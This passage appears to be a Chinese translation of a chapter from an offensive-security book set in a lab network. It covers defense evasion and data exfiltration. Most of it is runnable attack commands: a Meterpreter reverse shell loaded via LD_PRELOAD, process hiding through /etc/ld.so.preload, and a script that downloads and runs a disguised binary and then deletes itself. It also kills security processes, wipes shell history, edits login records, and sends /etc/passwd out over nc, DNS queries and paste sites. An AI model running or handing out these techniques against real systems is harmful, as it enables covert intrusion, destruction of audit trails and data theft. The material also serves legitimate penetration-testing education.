让我们使用 LD_PRELOAD 来预加载一个恶意共享库。这个环境变量接受一个用户指定的共享对象列表,在所有其他对象之前加载。我们将在 Kali 上设置一个监听器,并在p-jumpbox-01(172.16.10.13)上的进程上执行共享库预加载。
作为我们的恶意代码,我们将使用 Metasploit 的Meterpreter有效载荷,这是 Metasploit 框架的一部分,能够为攻击者提供一个交互式 shell。在 Kali 上,运行以下命令来生成一个 Meterpreter 共享对象:
$ **msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=172.16.10.1 LPORT=2222 -f**
**elf-so > meterpreter.so**
这个命令使用了 reverse_tcp 有效载荷,它将在本地主机地址 172.16.10.1(Kali 的地址)上绑定,在本地端口 2222/TCP 上,使用 elf-so 格式。然后,它会将输出重定向到meterpreter.so。运行 file 命令查看该文件的格式:
$ **file meterpreter.so**
meterpreter.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV),
dynamically linked, stripped
然后,你可以使用 scp 将此文件上传到p-jumpbox-01机器:
$ **scp -O meterpreter.so backup@172.16.10.13:/tmp**
这个命令使用了备份用户。记住他们的密码是backup。
注意
请注意,系统上运行的任何终端安全防护控制可能会通知安全分析人员 Meterpreter 有效载荷的存在。通常,编写自己的有效载荷往往是确保操作不被发现的更有效方法。
接下来,在 Kali 上运行 msfconsole 启动 Metasploit,然后设置 TCP 监听器:
msf > **use exploit/multi/handler**
msf > **set payload linux/x64/meterpreter/reverse_tcp**
msf > **set LHOST 172.16.10.1**
msf > **set LPORT 2222**
msf > **run**
这个监听器将在我们预加载 Meterpreter 共享对象后建立一个 Meterpreter 会话。
我们希望将 Meterpreter 有效载荷加载到一个看起来无害的进程中。让我们看看 p-jumpbox-01(172.16.10.13)上当前运行的进程:
$ **ps aux**
USER PID %CPU %MEM STAT START TIME COMMAND
root 1 0.0 0.0 Ss Nov23 0:00 /bin/sh -c service ssh restart && tail -f /dev/null
**root 17 0.0 0.0 Ss Nov23 0:00 sshd: /usr/sbin/sshd [listener] 0 of 10-100 startups**
root 28 0.0 0.0 S Nov23 0:38 tail -f /dev/null
root 30238 0.0 0.0 Ss Nov28 0:00 bash
root 37405 100 0.0 R+ 03:14 0:00 ps aux
如果你的恶意操作会建立网络连接,建议使用一个蓝队期望看到进行网络活动的进程,例如 SSH 服务器或 Web 服务器。在这种情况下,我们将使用 sshd,并执行 Listing 12-1 中的命令。
$ **LD_PRELOAD=/tmp/meterpreter.so ssh**
Listing 12-1: 使用 LD_PRELOAD 预加载 Meterpreter
在 Metasploit 中,你应该看到类似以下的输出:
[*] Started reverse TCP handler on 172.16.10.1:2222
[*] Sending stage (3045348 bytes) to 172.16.10.13
[*] Meterpreter session 1 opened (172.16.10.1:2222 -> 172.16.10.13:46048)
meterpreter >
现在你已经获得了一个 Meterpreter shell,运行 help 命令查看可用的命令。
进程隐藏
隐藏恶意进程的另一种方法是使用 libprocesshider,它由 Gianluca Borello 开发。这个工具也使用预加载技术,在加载其他库之前加载自定义的共享库。我们将使用 libprocesshider 来隐藏诸如 ps 之类工具中的进程名称。
在 Kali 上,运行以下命令来克隆 GitHub 仓库:
$ **git clone https://github.com/gianlucaborello/libprocesshider**
$ **cd libprocesshider**
接下来,修改 processhider.c 脚本,使用你想隐藏的进程名称(而不是脚本默认的 evil_script.py)。在这种情况下,我们将其替换为 sshd:
$ **sed -i s'/evil_script.py/cron/'g processhider.c**
接下来,使用 make 命令编译脚本:
$ **make**
此命令应创建一个名为 libprocesshider.so 的文件。将其复制到 p-jumpbox-01 机器(172.16.10.13)。接着,使用 root 用户将 libprocesshider.so 的文件路径添加到 p-jumpbox-01 上的 /etc/ld.so.preload 文件中。添加此行后,变更应立即生效:
# **echo /tmp/libprocesshider.so >> /etc/ld.so.preload**
再次运行 ps 查看结果:
# **ps aux**
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.0 2752 972 ? Ss 03:23 0:00 /bin/sh -c service ssh re...
root 29 0.0 0.0 3760 2132 ? Ss 03:23 0:00 /usr/sbin/cron -P
root 30 0.0 0.0 2684 904 ? S 03:23 0:00 tail -f /dev/null
root 34 0.0 0.0 4524 3892 pts/0 Ss+ 03:23 0:00 bash
backup 68 0.0 0.0 4524 3836 pts/1 Ss 03:26 0:00 -bash
backup 113 0.0 0.0 4524 3748 pts/2 Ss 03:38 0:00 -bash
backup 116 100 0.1 8224 4064 pts/2 R+ 03:38 0:00 ps aux
如你所见,sshd 进程已从输出中隐藏。它应该也从其他工具中隐藏,如 top:
# **top -n 1**
Tasks: 6 total, 1 running, 5 sleeping, 0 stopped, 0 zombie
%Cpu(s):100.0 us, 0.0 sy, 0.0 ni, 0.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
MiB Mem : 3920.9 total, 1333.0 free, 1350.8 used, 1598.0 buff/cache
MiB Swap: 1024.0 total, 681.3 free, 342.7 used. 2570.2 avail Mem
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
1 root 20 0 2752 972 868 S 0.0 0.0 0:00.02 sh
29 root 20 0 3760 2316 2080 S 0.0 0.1 0:00.00 cron
30 root 20 0 2684 904 800 S 0.0 0.0 0:00.12 tail
34 root 20 0 4524 3972 3296 S 0.0 0.1 0:00.19 bash
68 backup 20 0 4524 3836 3224 S 0.0 0.1 0:00.01 bash
153 root 20 0 8728 4728 2828 R 0.0 0.1 0:00.01 top
然而,这种方法并不万无一失,因为恶意进程并未完全消失。你仍然可以通过指定 PID 在路径中找到它,路径位于 /proc 文件系统下:
# **cat /proc/17/comm**
sshd
为了进一步隐藏进程,你可以尝试将其伪装起来。
进程伪装
进程伪装 是指对抗者用来将恶意进程伪装成合法进程的技术总称。例如,他们可能会通过使用难以察觉的拼写错误将其重命名为类似系统进程的名称,如 corn,这可能看起来像 cron。这种重命名可能绕过使用自定义检测规则来查找特定执行二进制文件名称的终端安全工具。例如,考虑以下警报的伪代码:
alert if os_type == "Linux" AND process_name in("ping", "nping", "hping",
"hping2", "hping3", "nc", "ncat", "netcat", "socat")
该警报逻辑旨在捕获任何 Linux 操作系统中名为 ping、netcat 和 socat 的进程。
基于二进制名称的检测规则的问题在于,二进制名称可以更改,因此它们比基于行为的检测或更智能的启发式方法更容易规避。在下一个练习中,你将通过使用规避名称来隐藏进程。
练习 27:旋转进程名称
在本练习中,你将使用随机名称运行一个进程,使其与环境融合,更难被发现。我们将使用一组被方括号括起来的可能进程名称([]),这些名称通常表示进程没有与之关联的命令行,像/proc/PID/cmdline中的那些。内核线程就是这类进程的例子。
清单 12-2 展示了在 Kali 上运行的带方括号的进程名称示例。使用 grep 和正则表达式提取此文本。
$ **ps aux | grep -o '\[.*]' | head -8**
[kthreadd]
[rcu_gp]
[rcu_par_gp]
[slub_flushwq]
[netns]
[mm_percpu_wq]
[rcu_tasks_kthread]
[rcu_tasks_rude_kthread]
清单 12-2:列出带方括号的进程
通过使用方括号,你可以让你的进程看起来更合法,更难以被发现,因为防御者可能会认为它是一个正常的系统进程,在检查进程列表时跳过它。
要开始,请考虑清单 12-3 中的脚本。我们将一起解读它。
binary_name _rotation.sh
#!/bin/bash
WORK_DIR="/tmp"
❶ RANDOM_BIN_NAMES=("[cpuhp/0]" "[khungtaskd]" "[blkcg_punt_biio]"
"[ipv8_addrconf]" "[mlb]" "[kstrrp]" "[neetns]" "[rcu_gb]")
❷ RANDOMIZE=$((RANDOM % 7))
❸ BIN_FILE="${RANDOM_BIN_NAMES[${RANDOMIZE}]}"
FULL_BIN_PATH="${WORK_DIR}/${BIN_FILE}"
self_removal(){
shred -u -- "$(basename "$0")" && rm -f -- "${FULL_BIN_PATH}"
}
❹ if command -v curl 1> /dev/null; then
❺ curl -s "http://172.16.10.1:8080/system_sleep" -o "${FULL_BIN_PATH}"
if [[-s "${FULL_BIN_PATH}"]]; then
chmod +x "${FULL_BIN_PATH}"
❻ export PATH="${WORK_DIR}:${PATH}"
❼ nohup "${BIN_FILE}" &> /dev/null &
fi
fi
8 trap self_removal EXIT
清单 12-3:通过旋转进程名称进行进程伪装
在❶处,我们定义了 RANDOM_BIN_NAMES 数组,其中包含被方括号括起来的任意进程名称。这些名称有微小的变化,使它们更难与常见的系统进程区分(例如 ipv8_addrconf 而不是 ipv6_addrconf)。该数组代表脚本将从中选择的可能进程名称列表。
然后,我们使用 RANDOM 环境变量和取模(%)操作符❷生成一个 0 到 7 之间的随机数。我们将选定的值作为数组索引号来选择二进制名称❸。例如,如果随机数是 2,我们将通过使用 RANDOM_BIN_NAMES[2]从数组中选择名称。
接下来,我们检查 curl 命令是否可用❹,如果不可用,脚本将不会继续执行。在❺处,我们从 Kali 下载一个名为 system_sleep 的二进制文件,并将其保存到/tmp。我们修改 PATH 环境变量,包含当前工作目录(由 WORK_DIR 定义,/tmp)作为搜索路径中的第一个目录❻,然后执行该二进制文件并将其送入后台❼。出于测试目的,该二进制文件仅执行 sleep 100。
最后,我们在❽处使用 sigspec EXIT 来调用 self_removal()函数。此函数确保在脚本退出后通过 shred -u 命令执行自删除操作。EXIT 信号确保即使脚本中发生任何错误,文件也会被删除。
在运行此脚本之前,确保从 Kali 机器将 system_sleep 进程对 172.16.10.0/24 网络开放。以下命令编译 system_sleep:
$ **cd ~/Black-Hat-Bash/ch12**
$ **gcc system_sleep.c -o system_sleep**
$ **ls -ld system_sleep**
-rwxrwxr-x 1 kali 15968 Dec 3 14:20 system_sleep
接下来,从相同的目录启动 HTTP 服务器:
$ **python3 -m http.server 8080**
将脚本复制到 p-jumpbox-01(172.16.10.13)或 p-web-01(172.16.10.10)上,查看脚本运行效果。当你执行它时,你应该在进程列表中看到类似以下的输出:
$ **bash binary_name_rotation.sh**
$ **ps aux**
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.0 2752 972 ? Ss Nov30 0:00 /bin/sh -c service ssh re...
root 17 0.0 0.1 14924 4716 ? Ss Nov30 0:00 sshd: /usr/sbin/sshd [lis...
root 29 0.0 0.0 3760 2316 ? Ss Nov30 0:03 /usr/sbin/cron -P
root 30 0.0 0.0 2684 904 ? S Nov30 0:23 tail -f /dev/null
root 28050 0.0 0.0 4612 3760 pts/1 Ss 17:49 0:00 bash
**root 28772 0.0 0.0 2484 1352 pts/1 S 19:25 0:00 [kstrrp]**
root 28775 0.0 0.0 2732 860 pts/1 S 19:25 0:00 sh -c sleep 100
你可以通过添加检测所执行的发行版的逻辑来扩展这个脚本,然后选择该发行版上常见的进程名。
在共享内存中放置文件
/dev/shm 目录提供共享内存,供进程间交换数据。这些共享内存对象会一直存在,直到系统关机或进程取消映射,并且它们面临与 第八章 中讨论的其他共享挂载相同的安全风险。
注意
以下命令在实验环境中不受支持,但可以在你的 Kali 虚拟机中进行测试。
通常,系统通过使用与安全相关的标志挂载 /dev/shm 以防止可能的滥用。列表 12-4 中的命令显示了一个带有 noexec 标志的 /dev/shm 挂载的示例。
$ **mount | grep "/dev/shm"**
shm on /dev/shm type tmpfs (rw,**nosuid,nodev,noexec**,relatime,size=65536k,inode64)
列表 12-4:列出 /dev/shm 挂载标志
你也可以直接从 /proc/self/mountinfo 文件中读取此信息(列表 12-5)。
$ **grep /dev/shm /proc/self/mountinfo**
964 959 0:104 / /dev/shm rw,nosuid,nodev,noexec,relatime - tmpfs shm rw,size=65536k,inode64
列表 12-5:通过 /proc 列出挂载信息
如你所见,默认情况下,/dev/shm 通常是使用 noexec 选项挂载的,这不允许在该目录中执行二进制文件。如果你想在此处放置并执行一个二进制文件,你需要重新挂载 /dev/shm,这需要 root 权限。你可以使用 mount -o remount 命令实现,如 列表 12-6 所示。
# **mount -o "remount,$(mount | grep shm | grep -oP '\(\K[^\)]+' | sed** **s'/noexec/exec/')" /dev/shm**
列表 12-6:使用自定义标志重新挂载 /dev/shm
你已经保留了现有的挂载选项,但将 noexec 与 exec 交换了。
禁用运行时安全控制
如果你已经成功攻破了系统的 root 账户,你可以禁用安全控制。然而,需注意的是,停止服务很可能会触发警报。在本节中,我们将介绍几种停止服务的方法。
要检查服务的状态,使用带有 --status-all 选项的 service 命令(列表 12-7)。
# **service --status-all**
[-] atd
[+] cron
[-] dbus
[?] hwclock.sh
[-] postfix
[-] procps
[+] ssh
列表 12-7:列出可用服务
[?] 符号表示服务状态未知, [+] 表示服务正在运行, [-] 表示服务已停止。
要停止一个服务,运行 service servicename stop 命令(列表 12-8)。
# **service atd stop**
列表 12-8:停止服务
在 第十章 中,我们提到基于 systemd 的系统可以使用 systemctl 命令来控制服务。在 Kali 上,使用 列表 12-9 中的命令列出可用的服务。
# **systemctl list-units --type=service**
UNIT LOAD ACTIVE SUB DESCRIPTION
atd.service loaded active running Deferred execution scheduler
colord.service loaded active running Manage, install and generate color profiles
console-setup.service loaded active exited Set console font and keymap
containerd.service loaded active running containerd container runtime
列表 12-9:使用 systemctl 列出服务
要停止一个服务,运行 systemctl stop servicename 命令,如 列表 12-10 所示。
# **systemctl stop cron**
列表 12-10:使用 systemctl 停止服务
请注意,有些服务被配置为在启动时运行,也就是说每当系统重启时,它们会自动启动。你可以通过向 systemctl 传递 disable 命令来尝试禁用此行为(示例 12-11)。
# **systemctl disable atd**
示例 12-11:使用 systemctl 禁用服务
在某些系统中,如基于 Red Hat 的 CentOS 或旧版本的 Red Hat Enterprise Linux,你可能需要使用 chkconfig 命令来禁用服务在启动时自动启动(示例 12-12)。
# **chkconfig atd off**
示例 12-12:使用 chkconfig 禁用服务
操作安全工具进程会引起怀疑,并可能启动事件调查。与其依赖特定工具来终止进程,不如迭代感兴趣的进程名称,并对 PID 执行 kill 命令(示例 12-13)。
$ **for pid in $(ps -ef | grep -e "iptables" -e "cron" -e "syslog" |**
**awk '{print $2}'); do kill -9 "${pid}"; done**
示例 12-13:使用 for 循环终止一系列进程
请注意,这种方法并不优雅,可能会导致不良结果。使用时请谨慎。
操作历史记录
在前几章中,我们讨论了每个用户主目录中的.bash_history文件,该文件包含本地用户执行的命令。通过禁用此行为,攻击者可以隐藏其在目标系统上的活动。bash shell 具有一些环境变量,用于控制历史文件中命令执行跟踪的行为:
HISTSIZE 确定可以缓存到内存中的命令数量。
HISTFILE 确定历史文件在文件系统中的路径(例如,/home/user/.bash_history)。
HISTFILESIZE 确定.bash_history文件可以在磁盘上存储的命令数量。
HISTCONTROL 通过使用冒号(:)分隔的多个值来控制命令是否保存到历史列表中。值 ignorespace 会将以空格字符开头的行排除在历史列表之外,ignoredups 会防止保存与前一个条目匹配的行,而 ignoreboth 则结合了 ignorespace 和 ignoredups 两者的功能。eraseups 值会在保存当前行之前,从历史文件中删除所有先前出现的该行。
HISTIGNORE 定义命令匹配模式,以便特定命令不会被添加到历史文件中。
如果你为 HISTCONTROL 变量设置了 ignorespace 值,可以在命令前加一个空格字符,从而使其不被记录到历史文件中(示例 12-14)。
$ **export HISTCONTROL=ignorespace**
$ **echo hello world # echo is prepended with a space.**
hello world
$ **history | tail -5**
38 ps aux
39 clear
40 history | tail -5
41 export HISTCONTROL=ignorespace
42 history | tail -5
示例 12-14:通过在命令前加一个空格来隐藏该命令在历史文件中
要清除当前用户的命令历史记录,请运行示例 12-15 中的命令。
$ **history -c && history -w**
示例 12-15:清除历史记录
history -c 命令会清除历史记录,而 -w 选项则会将当前的历史记录写入历史文件。
要禁用当前用户的命令历史跟踪,请使用示例 12-16 中的命令。这些只会影响当前会话。
$ **export HISTSIZE=0 && export HISTFILE=/dev/null**
Listing 12-16: 设置当前会话的历史记录大小和文件
要禁用所有会话的命令历史记录跟踪,将这些命令添加到 ~/.bashrc 文件中。
篡改会话元数据
在 第八章 中,我们通过使用 last、lastb、w 和 who 等工具探讨了与连接、断开连接和失败登录会话相关的日志条目。这些命令从通常存储在 /var/log 和 /var/run 目录中的日志文件读取。在具有正确权限的情况下,我们可以操作这些文件,试图更改关于会话的信息,如 IP 地址、日期和时间。
例如,我们可以修改日志文件来更改源 IP 地址。在 Kali 中,打开一个终端标签,并以备份用户身份,使用以下命令 SSH 登录到 p-jumpbox-01 机器:
$ **ssh backup@172.16.10.13**
接下来,运行 last 命令查看最后一次连接会话的元数据:
$ **last**
backup pts/1 **172.16.10.1** Thu Dec 7 03:31 gone - no logout
wtmp begins Thu Dec 7 03:31:28
如你所见,源 IP 地址是 Kali 机器的地址(172.16.10.1)。打开第二个终端,使用 root 用户 SSH 登录到 p-jumpbox-01:
$ **ssh root@172.16.10.13**
接下来,运行 xxd 命令以十六进制形式转储 /var/log/wtmp:
# **xxd /var/log/wtmp**
00000000: 0700 0000 3bf3 0000 7074 732f 3100 0000 ....;...pts/1...
00000010: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000020: 0000 0000 0000 0000 7473 2f31 6261 636b ........ts/1back
00000030: 7570 0000 0000 0000 0000 0000 0000 0000 up..............
00000040: 0000 0000 0000 0000 0000 0000 3137 322e ............172.
00000050: **3136** 2e31 302e 3100 0000 0000 0000 0000 16.10.1.........
/var/log/wtmp 文件结构很脆弱;错误的修改可能会导致文件完全无法读取。使用以下命令,将源 IP 地址从 172.16.10.1 更改为 172.50.10.1,只修改 2 个字节(Listing 12-17)。
# **sed -i s'/\x31\x36/\x35\x30/'g /var/log/wtmp**
Listing 12-17: 使用 sed 替换十六进制字符
使用备份用户,再次运行 last 命令查看更改:
$ **last**
backup pts/1 **172.50.10.1** Thu Dec 7 03:31 gone - no logout
更进一步,尝试通过修改 /var/log/btmp 文件来更改 lastb 命令的输出:
$ **lastb**
idontexit ssh:notty 172.16.10.1 Thu Dec 7 03:54 - 03:54 (00:00)
backup ssh:notty 172.16.10.1 Thu Dec 7 03:30 - 03:30 (00:00)
要查看执行 lastb 时的信息,你需要至少尝试一次使用错误的凭证访问机器。例如,尝试使用不存在的用户 SSH 登录,如 ssh idontexist@172.16.10.13。
隐藏数据
企业网络的安全控制尝试保护敏感信息免受未经授权的披露、泄漏或丢失。因此,隐蔽操作通常试图隐藏它们所处理的敏感信息。攻击者可以使用行业标准工具或自定义算法对数据进行编码、模糊处理和加密。
编码
数据编码是将信息从一种格式转换为另一种格式的过程。数字通信通常使用编码将数据表示为一种能够传输、存储或处理的模式。正如你在本书中所见,bash 提供了内置支持 base64 编码的功能,通过 base64 命令。使用 echo,你可以将字符串通过管道传递给 base64 来获取编码后的版本:
$ **echo -n "Secret Data" | base64**
U2VjcmV0IERhdGE=
要解码这些信息,只需将 -d 参数传递给 base64:
$ **echo "U2VjcmV0IERhdGE=" | base64 -d**
Secret Data
我们可以使用 bash 对同一字符串进行多次编码。通过多轮编码提供额外的模糊层,可能会让试图恢复原始字符串的人感到困惑。在 Listing 12-18 中,我们对字符串 Hello! 进行了 10 次编码。
$ **text="Hello!"**
$ **rounds=10; for i in $(seq ${rounds}); do text="$(echo "${text}" | base64)"; done**
清单 12-18:使用 for 循环执行多轮 base64 编码
要解码字符串,使用相同的编码轮数(清单 12-19)。
$ **echo $text**
Vm0wd2QyVkZOVWRXV0doVFYwZDRWRll3Wkc5WFZsbDNXa1JTVjJKR2JETlhhMUpUVmpGYWRHVkdX
bFpOYWtFeFZtMTRZV014WkhWaApSbHBPWVd0RmVGWnNVa2RaVjFKSFZtNUdVd3BpU0VKdldWaHdW
MlZXV25OV2JVWmFWbXh3ZVZSc1duTldkM0JwVW01Q1ZWZFhkRmRYCmJWWnpWMnhXVldKWVVuSlph
MVpMVlRGc2RXSXpaRlJrTWpnNVEyYzlQUW89Cg==
$ **rounds=10; for i in $(seq ${rounds}); do text="$(echo "${text}" | base64 -d)"; done**
$ **echo $text**
Hello!
清单 12-19:解码多重编码的字符串
我们还可以使用 xxd 命令行工具将数据转换为十六进制(清单 12-20)。
$ **echo -n "Secret Data" | xxd -p**
5365637265742044617461
清单 12-20:将 ASCII 字符转换为十六进制
要通过 bash 解码十六进制数据,可以运行 xxd -r -p(清单 12-21)。
$ **echo "5365637265742044617461" | xxd -r -p**
Secret Data
清单 12-21:将十六进制转换回 ASCII
我们可以通过管道将编码方案的输出结合起来。清单 12-22 将 base64 编码的输出传递给十六进制编码函数。
$ **echo "Secret Data" | xxd -p | base64**
NTM2NTYzNzI2NTc0MjA0NDYxNzQ2MTBhCg==
清单 12-22:将十六进制字符串进行 Base64 编码
然而,如果你知道使用的算法,编码数据很容易解码。加密机制提供了更强的保护。
加密
加密是将明文(或原始数据)转换为密文(或加密数据)的过程,使用加密算法。加密的目的是将信息打乱,使其无法读取。这可以绕过检查数据恶意签名的安全控制。
OpenSSL,一种常用的加密工具,提供了广泛的加密功能。清单 12-23 展示了如何使用 bash 和 OpenSSL 加密敏感信息。我们通过使用加密算法 AES-256 来加密明文 Black Hat Bash,然后使用 base64 编码输出。
$ **MY_SECRET="Black Hat Bash"**
$ **echo "${MY_SECRET}" | openssl enc -aes256 -pbkdf2 -base64**
清单 12-23:使用 OpenSSL 加密文本
系统应该提示你输入两次密码。在这种情况下,我们使用 nostarch 作为密码。OpenSSL 然后应该输出密文:
enter AES-256-CBC encryption password:
Verifying - enter AES-256-CBC encryption password:
U2FsdGVkX18u2T5pZ+owj/NU0Y8e6 + 2uCZQa2agr5WI=
要解密密文,使用 -d 参数并提供密码(清单 12-24)。
$ **echo "U2FsdGVkX18u2T5pZ+owj/NU0Y8e6** **+ 2uCZQa2agr5WI=" | openssl aes-256-cbc -d -pbkdf2 -base64**
enter AES-256-CBC decryption password:
Black Hat Bash
清单 12-24:解密密文
这应该输出原始消息。
练习 28:编写替代密码函数
在本练习中,你将通过使用一种简单的替代密码,ROT13,来打乱文本,该密码通过将消息中的每个字符向前移动 13 个字母来加密文本。例如,a 变成 n,而 n 变成 a。对于人眼来说,结果的密文将不太能理解。例如,考虑 No Starch Press 的字符替换(图 12-1)。

图 12-1:No Starch Press 中的旋转字符
在 bash 脚本中,sed 提供了一种简单的方法来替换字符串中的字母。请参阅清单 12-25 中的命令。
$ **echo "No Starch Press" | sed 'y/abcdefghijklmnopqrstuvwxyzABCDEFGHIJK**
**LMNOPQRSTUVWXYZ/nopqrstuvwxyzabcdefghijklmNOPQRSTUVWXYZABCDEFGHIJKLM/'**
Ab Fgnepu Cerff
清单 12-25:使用 sed 执行 ROT13 加密
我们使用带有转换选项(y)的 sed 命令,告诉工具将源字符替换为目标字符。这要求源模式和目标模式的字符数相同。在这种情况下,我们提供了整个字母表的小写和大写字母,以及旋转后的字符。
要将字符恢复到原始形式,只需交换模式的位置,使得目标模式变为源模式(列表 12-26)。
$ **echo "Ab Fgnepu Cerff" | sed 'y/nopqrstuvwxyzabcdefghijklmNOPQRSTUVWXYZABC**
**DEFGHIJKLM/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/'**
No Starch Press
列表 12-26:使用 sed 解密 ROT13
尝试将这个加密逻辑整合进一个更大的 bash 脚本中。这里有一些想法:
-
接受用户输入的字符串,并允许他们决定是否加密或解密该字符串。
-
允许用户选择使用哪种旋转算法。你不必将字符旋转 13 次,为什么不尝试旋转 20 次呢?
-
使用你在“加密”一节中学到的知识(见 第 298 页),将替换密码与其他加密方案结合起来。例如,从运行脚本的用户那里接受文本输入,旋转字符,然后加密它。要检索原始信息,执行反向操作。
外泄
一旦攻击者获得了相关信息,他们必须在保持隐蔽的情况下从网络中传输数据。我们称这个任务为 外泄。企业安全软件会通过各种方式寻找数据外泄的迹象,但攻击者已经提出了一些创造性的方法,让这一过程不那么显眼。在本节中,我们将介绍几种外泄策略。
原始 TCP
在前面的章节中,我们使用 Ncat、Netcat 和 socat 等工具通过原始 TCP 连接发送数据。通过使用本章迄今为止介绍的数据隐藏技术,我们可以在传输数据之前对其进行伪装。
例如,在通过 TCP 发送 /etc/passwd 文件的内容之前,我们可以使用 xxd 将 ASCII 数据转换为十六进制。为了接收这些数据,我们将在 Kali 上设置一个 socat TCP 监听器。运行列表 12-27 中的命令以启动监听器。
$ **socat TCP-LISTEN:12345,reuseaddr,fork - | xxd -r -p**
列表 12-27:创建一个解码十六进制数据的 TCP 监听器
socat 将在端口 12345/TCP 上监听,并将原始数据传输到 xxd,将十六进制数据转换为可读的文本。
接下来,我们将通过使用 nc 将文件内容以十六进制形式传输。在任何一台实验室机器上运行列表 12-28 中的命令,例如 p-jumpbox-01(172.16.10.13)。
$ **xxd -p /etc/passwd | nc 172.16.10.1 12345**
列表 12-28:在通过 TCP 传输文件数据之前对其进行编码
在你的监听器中,你应该看到解码后的 /etc/passwd 内容:
socat TCP-LISTEN:12345,reuseaddr,fork - | xxd -r -p
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
`--snip--`
你可以通过设置连接的两端使用 SSL 来建立加密的外泄通道,进一步改进这个外泄方法,就像你在第七章中所做的那样。
DNS
DNS 协议通常是一个有效的数据提取方法,因为它很少被阻止或监控。我们可以悄悄地将数据从网络传输到我们操作的外部 DNS 服务器,然后监控它以捕获所有传入的查询。
为了渗透测试的目的,我们可以设置一个简单的 DNS 服务器,如 dnserver(github.com/samuelcolvin/dnserver),但在这个示例中,我们将使用 DNSChef(github.com/iphelix/dnschef),一个基于 Python 的 DNS 代理,来捕获传入的查询。DNSChef 应该可以通过 dnschef 命令在 Kali 中使用。
首先,让我们通过一些特定的标志启动 DNSChef 服务器。这些标志配置服务器为特定域提供伪造的查询解析:
$ **sudo dnschef \**
**--fakedomains blackhatbash.com \**
**--fakeip 127.0.0.1 --interface 0.0.0.0 \**
**--logfile dnschef.log**
我们传递 --fakedomains blackhatbash.com 和 --fakeip 127.0.0.1,将所有传入查询解析到 blackhatbash.com 域的 IP 地址 127.0.0.1(本地主机)。接着我们传递 --interface 0.0.0.0,确保 DNSChef 在所有接口上响应所有传入查询。然后,我们指定 --logfile dnschef.log,将运行时输出写入文件。
现在 DNS 服务器正在运行,它可以处理 DNS 查询。使用任何实验室机器运行 Listing 12-29 中的命令。
$ **for i in $(xxd -p -c 30 /etc/passwd); do dig $i.blackhatbash.com @172.16.10.1; done**
Listing 12-29: 通过 DNS 提取文件内容
我们在 xxd -p -c 30 /etc/passwd 的输出上运行一个 for 循环,这将把 ASCII 转换为十六进制。然后我们运行 dig 命令对整个域名进行查询,包括新生成的十六进制子域名。我们使用 @172.16.10.1 告诉 dig 使用哪个 DNS 服务器进行 DNS 解析,提供运行 DNSChef 的 Kali IP 地址。
命令执行后,你应该能在 DNSChef 中看到类似以下的输出:
23:51:22) [*] DNSChef started on interface: 0.0.0.0
`--snip--`
(23:51:22) [*] Cooking A replies to point to 127.0.0.1 matching: blackhatbash.com
(23:51:22) [*] DNSChef is active.
(23:52:08) [*] 172.16.10.13: cooking the response of type 'A'
for 726f6f743a783a303a303a726f6f743a2f726f6f743a2f62696e2f626173.blackhatbash.com to 127.0.0.1
(23:52:08) [*] 172.16.10.13: cooking the response of type 'A'
for 680a6461656d6f6e3a783a313a313a6461656d6f6e3a2f7573722f736269.blackhatbash.com to 127.0.0.1
(23:52:08) [*] 172.16.10.13: cooking the response of type 'A'
for 6e3a2f7573722f7362696e2f6e6f6c6f67696e0a62696e3a783a323a323a.blackhatbash.com to 127.0.0.1
`--snip--`
循环针对每个 ASCII 到十六进制的转换发出了一个 DNS 查询,使用数据作为 blackhatbash.com 的子域。从输出中选择任何一行,并将其传递给 xxd,将其从十六进制转换:
$ **echo 726f6f743a783a303a303a726f6f743a2f726f6f74.blackhatbash.com | xxd -r -p**
root:x:0:0:root:/root:/bin/bash
要一次性转换所有子域名,你可以使用一些 sed 和 awk 技巧(Listing 12-30)。
$ **sed -n 's/.*for \(.*\) to .*/\1/p' dnschef.log | awk -F'.' '{print $1}' | xxd -r -p**
Listing 12-30: 解析和转换查询的子域以重建泄漏的数据
我们使用 sed -n(安静模式)和正则表达式模式来提取 DNSChef 输出中位于 "for" 和 "to" 之间的文本,这样我们就可以获得完整的域名。接着,我们使用 awk 过滤出子域名部分,并将其传递给 xxd -r -p,将其转换为 ASCII。
文本存储网站
文本存储网站,如流行的 pastebin.com,是另一种从网络中提取数据的方式。让我们练习使用 Sprunge,这是一个开源项目,托管在 github.com/rupa/sprunge 上。你可以克隆该仓库并将其托管在服务器上,或使用托管在 sprunge.us 在线服务上的应用程序。
要发布到 Sprunge,请使用以下语法:
`some-command` | curl -F 'sprunge=<-' http:`//my-custom-sprunge-server.local`
我们通过管道将命令传递给 curl,使用表单数据(-F)发出 POST 请求。sprunge=<-语法基本上是将标准输入分配给 sprunge 字段。在这种情况下,标准输入将包括管道传递的命令。
如列表 12-31 所示,命令应该输出包含已发布内容的短 URL。
$ **echo "Black Hat Bash" | curl -F 'sprunge=<-' http:****`//my-custom-sprunge-server.local`**
http:`//my-custom-sprunge-server.local/7gWETD`
$ **curl http:****`//my-custom-sprunge-server.local/7gWETD`**
Black Hat Bash
列表 12-31:将内容上传到 Sprunge 然后获取
dpaste 网站(dpaste.com)允许用户通过其 API 上传内容。其语法与 Sprunge 几乎相同:
$ **echo "Black Hat Bash" | curl -F "content=<-" https://dpaste.com/api/v2/**
命令应该输出一个类似于https://dpaste.com/AADSCMQ4W的 URL。要以原始文本形式获取上传的内容,只需在 URL 后添加.txt,像这样:https://dpaste.com/AADSCMQ4W.txt。
Slack Webhooks
Webhook 提供了一种方式,当特定事件发生时,一个系统可以向另一个系统发送实时数据。简而言之,它充当服务之间的通知机制。像 Slack、Discord、Telegram 和 Microsoft Teams 这样的流行应用程序提供 webhook,供其他应用程序向它们发送消息。然后,这些消息会出现在特定的频道中。
